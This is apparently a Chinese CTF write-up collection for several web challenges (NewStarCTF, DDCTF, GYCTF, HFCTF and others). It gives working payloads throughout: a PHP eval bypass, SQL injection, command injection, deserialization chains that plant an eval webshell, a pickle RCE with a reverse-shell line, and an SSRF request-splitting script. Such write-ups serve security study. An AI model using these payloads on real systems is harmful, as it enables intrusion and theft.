}else{//例子 c=20-1$content = $_GET['c'];if (strlen($content) >= 60) {die("太长了不会算");}$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $content)) {die("请不要输入奇奇怪怪的字符");}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die("请不要输入奇奇怪怪的函数");}}//帮你算出答案eval('echo '.$content.';');
}
这题和前面有一题一样,但是这题限制了60的长度:
payload:
?c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag
(is_nan^(6).(4)).(tan^(1).(5))
结果是_GET
$pi=_GET,$$pi=$_GET
php中,get方法的[]可以用{}替代,$pi{0}($pi{1})
即$_GET{0}($_GET{1})
总的来看就是system(cat /flag)
[NewStarCTF 2023 公开赛道]ez_sql
这里有个id参数,感觉是可以拿来注入
这里字段数为5,
库:
?id=1'Union Select 1,2,3,4,database()--+
表:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(table_name) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA= database()--+
列:id=1' uNion Select 1,2,3,4,GROUP_CONCAT(column_name) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME= 'here_is_flag'--+
出:id=1' Union Select 1,2,3,4,GROUP_CONCAT(flag)FROM here_is_flag--+
[DDCTF 2019]homebrew event loop
给了源码:
from flask import Flask, session, request, Response
import urllibapp = Flask(__name__)
app.secret_key = '*********************' # censored
url_prefix = '/d5afe1f66147e857'def FLAG():return '*********************' # censoreddef trigger_event(event):session['log'].append(event)if len(session['log']) > 5:session['log'] = session['log'][-5:]if type(event) == type([]):request.event_queue += eventelse:request.event_queue.append(event)def get_mid_str(haystack, prefix, postfix=None):haystack = haystack[haystack.find(prefix)+len(prefix):]if postfix is not None:haystack = haystack[:haystack.find(postfix)]return haystackclass RollBackException:passdef execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp@app.route(url_prefix+'/')
def entry_point():querystring = urllib.unquote(request.query_string)request.event_queue = []if querystring == '' or (not querystring.startswith('action:')) or len(querystring) > 100:querystring = 'action:index;False#False'if 'num_items' not in session:session['num_items'] = 0session['points'] = 3session['log'] = []request.prev_session = dict(session)trigger_event(querystring)return execute_event_loop()# handlers/functions below --------------------------------------def view_handler(args):page = args[0]html = ''html += '[INFO] you have {} diamonds, {} points now.<br />'.format(session['num_items'], session['points'])if page == 'index':html += '<a href="./?action:index;True%23False">View source code</a><br />'html += '<a href="./?action:view;shop">Go to e-shop</a><br />'html += '<a href="./?action:view;reset">Reset</a><br />'elif page == 'shop':html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />'elif page == 'reset':del session['num_items']html += 'Session reset.<br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'return htmldef index_handler(args):bool_show_source = str(args[0])bool_download_source = str(args[1])if bool_show_source == 'True':source = open('eventLoop.py', 'r')html = ''if bool_download_source != 'True':html += '<a href="./?action:index;True%23True">Download this .py file</a><br />'html += '<a href="./?action:view;index">Go back to index.html</a><br />'for line in source:if bool_download_source != 'True':html += line.replace('&', '&').replace('\t', ' '*4).replace(' ', ' ').replace('<', '<').replace('>', '>').replace('\n', '<br />')else:html += linesource.close()if bool_download_source == 'True':headers = {}headers['Content-Type'] = 'text/plain'headers['Content-Disposition'] = 'attachment; filename=serve.py'return Response(html, headers=headers)else:return htmlelse:trigger_event('action:view;index')def buy_handler(args):num_items = int(args[0])if num_items <= 0:return 'invalid number({}) of diamonds to buy<br />'.format(args[0])session['num_items'] += num_itemstrigger_event(['func:consume_point;{}'.format(num_items), 'action:view;index'])def consume_point_function(args):point_to_consume = int(args[0])if session['points'] < point_to_consume:raise RollBackException()session['points'] -= point_to_consumedef show_flag_function(args):flag = args[0]# return flag # GOTCHA! We noticed that here is a backdoor planted by a hacker which will print the flag, so we disabled it.return 'You naughty boy! ;) <br />'def get_flag_handler(args):if session['num_items'] >= 5:# show_flag_function has been disabled, no worriestrigger_event('func:show_flag;' + FLAG())trigger_event('action:view;index')if __name__ == '__main__':app.run(debug=False, host='0.0.0.0')
flask接受参数的方式
我们来看一下,这里出flag的因该是get_flag_handler,条件是if session['num_items'] >= 5:
然后我们看看这个num_items
获取:
这里就存在一个漏洞,这里是如果session的points小于point_to_consume,就减去
然后看看路由:
这里就是如果num_items没有,让points为3,num_items为0,然后调用了一个trigger_event,返回了一个 execute_event_loop()
def execute_event_loop():valid_event_chars = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#')resp = Nonewhile len(request.event_queue) > 0:# `event` is something like "action:ACTION;ARGS0#ARGS1#ARGS2......"event = request.event_queue[0]request.event_queue = request.event_queue[1:]if not event.startswith(('action:', 'func:')):continuefor c in event:if c not in valid_event_chars:breakelse:is_action = event[0] == 'a'action = get_mid_str(event, ':', ';')args = get_mid_str(event, action+';').split('#')try:event_handler = eval(action + ('_handler' if is_action else '_function'))ret_val = event_handler(args)except RollBackException:if resp is None:resp = ''resp += 'ERROR! All transactions have been cancelled. <br />'resp += '<a href="./?action:view;index">Go back to index.html</a><br />'session['num_items'] = request.prev_session['num_items']session['points'] = request.prev_session['points']breakexcept Exception, e:if resp is None:resp = ''# resp += str(e) # only for debuggingcontinueif ret_val is not None:if resp is None:resp = ret_valelse:resp += ret_valif resp is None or resp == '':resp = ('404 NOT FOUND', 404)session.modified = Truereturn resp
这里有个eval:
action的话会直接返回第一个;之后的内容
参数这里用#做了一下分割,并返回一个列表到args里 ,所以我们就是这样,
先执行buy_handle,然后紧接着get_flag, 把consume_point_function放到最后
若让eval()去执行trigger_event(),并且在后面跟着buy和get_flag,那么buy_handler()和get_flag_handler()便先后进入队列,那么这时consume_point_function()就会在get_flag_handler()之后
?action:trigger_event%23;action:buy;5%23action:get_flag;
session=.eJyNjk1rg0AYhP9K2XMO61dFwUsrCtIoSa27-5ZS1E393I2gJtbgf48UWijpobeBmXlmLqg9Fsh-vaC7DNmIkRCnxBojuf9MCZdAgw-g0GZyV0eqV3O_PWV1V3HamOFzWDJt32Wqfg9qgqkKPSO5iZbNDU4EyiHuldW6cXjLPUtkviejs-Og5e2nDTIZ2dzVmWrMnCgt1R5OKTFwNL84f5AkdEBzc000QIsv0m_QnPqW9v0SxFSC1uvgljUQZoQVnpgI2qd4N0VxPkQuL7ePWGcCqtAtMKub8zZOrP8NIzmK92o4iB7ZeIO6YyWHVWrLFYecdfA.aKPmOg.p8N3i0VjdyYhN0MEKeHlUPp1Mw0
[羊城杯 2020]Blackcat
打开之后有个音频,下载后用010打开,发现有源码:
if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){die('x');
}$clandestine = getenv("clandestine");if(isset($_POST['White-cat-monitor']))$clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);if($hh !== $_POST['Black-Cat-Sheriff']){die('x');
}echo exec("nc".$_POST['One-ear']);
这里直接echo exec了,所以One-ear在前面;就直接rce,然后看看前面怎么搞
我们直接让White-cat-monitor为数组,所以
就为空,
那么
这里的参数实际上就是 sha256 , One-ear的值 , null,直接求:
<?php
$hh = hash_hmac('sha256',';ls /', null);
echo $hh;
然后尝试一下ls /
Black-Cat-Sheriff=34ba546aa2ba7adbb3a0c6f574d24f1dccd17d87b8d48f2b240df9e366f383c3&One-ear=;ls /&White-cat-monitor[]=1
就显示出来一个var
还是不行,啊?
然后看了其他师傅的博客,好像就是这样,但是buu提交错误,好吧
[NewStarCTF 2023 公开赛道]Unserialize?
<?phpclass evil {private $cmd='ls';}$a=new evil();echo urlencode(serialize($a));?>
欧克了
unser=O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A9%3A%22sort%20%2Fth%2A%22%3B%7D
出flag
[GYCTF2020]Node Game
通过拆分攻击实现的SSRF攻击
先看看源码
var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan'); // morgan是express默认的日志中间件
const multer = require('multer'); // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";if( action.includes("/") || action.includes("\\") ){ // action中不能含有/或\\字符res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file); // 渲染pug模板引擎res.send(html);
});app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) { // remoteAddress必须是本地IP,所以需要进行ssrfobj.msg="only admin's ip can use it"res.send(JSON.stringify(obj)); // JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。return }fs.readFile(req.files[0].path, function(err, data){if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/"; var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_name // /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越if(!fs.existsSync(__dirname + file_path)){ // 以同步的方法检测目录是否存在try {fs.mkdirSync(__dirname + file_path) // 如果目录不存在则创建目录} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data) // 将要上传的文件写入文件到指定的目录中(实现文件上传)obj = {msg: 'upload success',filename: file_path + file_name} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj)); }})
})app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
});app.get('/core', function(req, res) {var q = req.query.q;var resp = ""; // 用来接收请求的数据if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
})function blacklist(url) { // 检测url中的恶意字符,检测到的返回true。可以通过字符串拼接绕过。var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}}
}var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})
不会,看看大佬的博客:
/:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
/source:回显源码
/file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
/core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过
我们可以利用一些特殊字符,它们在URL请求时不会被转义处理,但是当它到了js引擎时,由于其默认用的是latin1,因此可以将我们用的特殊字符转义得到我们需要的字符,从而达到ssrf的目的
脚本:
import urllib.parse
import requestspayload = ''' HTTP/1.1
Host: x
Connection: keep-alivePOST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Length: {}
cache-control: no-cache
Host: 127.0.0.1
Connection: keep-alive {}'''
body='''------WebKitFormBoundaryO9LPoNAg9lWRUItA
Content-Disposition: form-data; name="file"; filename="lmonstergg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundaryO9LPoNAg9lWRUItA--
'''
more='''GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.format(len(body)+10,body)+more
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)session = requests.Session()
session.trust_env = False
session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
response = session.get('http://e559ac57-7679-45fa-848c-25bb981189ee.node5.buuoj.cn:81/?action=lmonstergg')
print(response.text)
取自
[NewStarCTF 2023 公开赛道]泄漏的秘密
robots.txt
然后扫到www.zip
拼一下就好了
flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}
[HFCTF 2021 Final]easyflask
session伪造+pickle反序列化
有个这个
然后题目又是flask
访问:
看到源码,整理一下:
#!/usr/bin/python3.6
import os
import picklefrom base64 import b64decode
from flask import Flask, request, render_template, sessionapp = Flask(__name__)
app.config["SECRET_KEY"] = "*******"User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,
})@app.route('/', methods=('GET',))
def index_handler():if not session.get('u'):u = pickle.dumps(User())session['u'] = ureturn "/file?file=index.js"@app.route('/file', methods=('GET',))
def file_handler():path = request.args.get('file')path = os.path.join('static', path)if not os.path.exists(path) or os.path.isdir(path) \or '.py' in path or '.sh' in path or '..' in path or "flag" in path:return 'disallowed'with open(path, 'r') as fp:content = fp.read()return content@app.route('/admin', methods=('GET',))
def admin_handler():try:u = session.get('u')if isinstance(u, dict):#如果u对应的值是字典,会读取 u.bu = b64decode(u.get('b'))u = pickle.loads(u)#pickle反序列化except Exception:return 'uhh?'if u.is_admin == 1:return 'welcome, admin'else:return 'who are you?'if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)
要我们找一个secret_key,那就试试/proc/self/environ
找到了
secret_key=glzjin22948575858jfjfjufirijidjitg3uiiuuh
import base64
import pickle
from flask.sessions import SecureCookieSessionInterface
import re
import requestsurl = "http://5dce76ce-7856-4683-a41a-1500554f465f.node5.buuoj.cn:81"#url = "http://127.0.0.1:80"def get_secret_key():target = url + "/file?file=/proc/self/environ"r = requests.get(target)#print(r.text)key = re.findall('key=(.*?).OLDPWD',r.text)return str(key[0])#secret_key = get_secret_key()
secret_key = "glzjin22948575858jfjfjufirijidjitg3uiiuuh"print(secret_key)class FakeApp:secret_key = secret_keyclass User(object):def __reduce__(self):import oscmd = "cat /flag > /tmp/b"return (os.system,(cmd,))exp = {"b":base64.b64encode(pickle.dumps(User()))
}#pickletools.dis(pickle.dumps(User()))
#print(pickletools.dis(b'\x80\x03cprogram_main_app@@@\nUser\nq\x00)\x81q\x01.'))fake_app = FakeApp()
session_interface = SecureCookieSessionInterface()
serializer = session_interface.get_signing_serializer(fake_app)
cookie = serializer.dumps(#{'u': b'\x80\x03cprogram_main_app@@@\nUser\nq\x01)\x81q\x01.'}#{'u':b'\x80\x04\x95\x15\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04User\x94\x93\x94.'}#{'u':exp}
)
print(cookie)headers = {"Accept":"*/*","Cookie":"session={0}".format(cookie)
}req = requests.get(url+"/admin",headers=headers)print(req.text)req = requests.get(url+"/file?file=/tmp/b",headers=headers)print(req.text)
找到一个脚本,或者直接生成cookie访问/admin也行
import os
import pickle
import base64User = type('User', (object,), {'uname': 'test','is_admin': 0,'__repr__': lambda o: o.uname,'__reduce__': lambda o: (os.system,("cat /flag > /tmp/a",))#'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/your_ip/port 0>&1'",))
})u = pickle.dumps(User())
print(base64.b64encode(u))
不过要在linux环境下运行,windows不行
[2020 新春红包题]1
看看源码:
<?php
error_reporting(0);class A {protected $store;protected $key;protected $expire;public function __construct($store, $key = 'flysystem', $expire = null) {$this->key = $key;$this->store = $store;$this->expire = $expire;}public function cleanContents(array $contents) {$cachedProperties = array_flip(['path', 'dirname', 'basename', 'extension', 'filename','size', 'mimetype', 'visibility', 'timestamp', 'type',]);foreach ($contents as $path => $object) {if (is_array($object)) {$contents[$path] = array_intersect_key($object, $cachedProperties);}}return $contents;}public function getForStorage() {$cleaned = $this->cleanContents($this->cache);return json_encode([$cleaned, $this->complete]);}public function save() {$contents = $this->getForStorage();$this->store->set($this->key, $contents, $this->expire);}public function __destruct() {if (!$this->autosave) {$this->save();}}
}class B {protected function getExpireTime($expire): int {return (int) $expire;}public function getCacheKey(string $name): string {// 使缓存文件名随机$cache_filename = $this->options['prefix'] . uniqid() . $name;if(substr($cache_filename, -strlen('.php')) === '.php') {die('?');}return $cache_filename;}protected function serialize($data): string {if (is_numeric($data)) {return (string) $data;}$serialize = $this->options['serialize'];return $serialize($data);}public function set($name, $value, $expire = null): bool{$this->writeTimes++;if (is_null($expire)) {$expire = $this->options['expire'];}$expire = $this->getExpireTime($expire);$filename = $this->getCacheKey($name);$dir = dirname($filename);if (!is_dir($dir)) {try {mkdir($dir, 0755, true);} catch (\Exception $e) {// 创建失败}}$data = $this->serialize($value);if ($this->options['data_compress'] && function_exists('gzcompress')) {//数据压缩$data = gzcompress($data, 3);}$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;$result = file_put_contents($filename, $data);if ($result) {return $filename;}return null;}}if (isset($_GET['src']))
{highlight_file(__FILE__);
}$dir = "uploads/";if (!is_dir($dir))
{mkdir($dir);
}
unserialize($_GET["data"]);
有点眼熟
入点:
有个save方法,定位:
这里是最终调用了set,set在B中
可以看到参数对应:
$name->key
$value->contents
$expire->expire
然后这里content来自:
然后看看set
这题的逻辑和ezpop一样,但是文件有限制:
会将文件名随机,并且还过滤了.php后缀
我们可以用:
$this->key = /../1.php/.
因为在做路径处理的时候,会递归的删除掉路径中存在的 /.
从而传入的东西是./1.php
,而传入之前,是 /../1.php/.
,通过目录穿越,让文件名固定,并且绕过.php后缀的检查
然后exit的话就和上面那题一样base64绕
这里就直接用脚本
<?php
class A{protected $store;protected $key;protected $expire;public $cache =[];public $complete = true; public function __construct () {$this->store = new B();$this->key = '/../penson.php/.';$this->cache = ['dirname'=>'aPD9waHAgZXZhbCgkX1BPU1RbJ3BlbnNvbiddKTs/Pg'];}}
class B{public $options = ['serialize' => 'serialize','prefix' => 'php://filter/write=convert.base64-decode/resource=./uploads/',];
}
$a = new A();
echo urlencode(serialize($a));?>
然后访问/uploads/1.php
[watevrCTF-2019]Supercalc
ssti报错注入
抓包看看:
有个flask session
这里如果正常用{{}}不行,用ssti报错注入
1/0#{{config}}
看看能不能找到key:
cded826a1e89925035cc05f0907855f7
payload:__import__("os").popen("cat flag.txt").read()
然后就是伪造session来ssti,但是很奇怪
我这里怎么搞都出不来,其他师傅这里就直接出了,不知道哪里出问题了shuati